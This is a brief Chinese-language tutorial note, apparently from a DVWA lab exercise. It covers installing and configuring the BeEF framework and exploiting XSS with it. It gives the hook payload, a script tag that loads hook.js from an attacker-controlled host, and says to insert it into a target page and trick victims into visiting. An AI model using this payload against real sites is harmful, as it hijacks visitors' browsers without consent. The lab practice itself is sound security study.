xss
xss漏洞利用
1.安装beef
apt-get update
apt-get install bee-xss
2.配置密码
/etc/beef-xss/config.yaml
默认用户名为beef
默认密码为beef
修改密码为123456
注意密码要用引号引起来
3.启动服务
beef-xss
可以看到生成的链接
Web UI: http://127.0.0.1:3000/ui/panel
Hook: <script src="http://<IP>:3000/hook.js"></script>
Example: <script src="http://127.0.0.1:3000/hook.js"></script>
4.登录beef控制平台
5.将代码插入到目标URL,欺骗被攻击者访问
name:hello
message:qqq
6.打开windows10上面的dvwa,在beef上面看到Windows10上线
攻击成功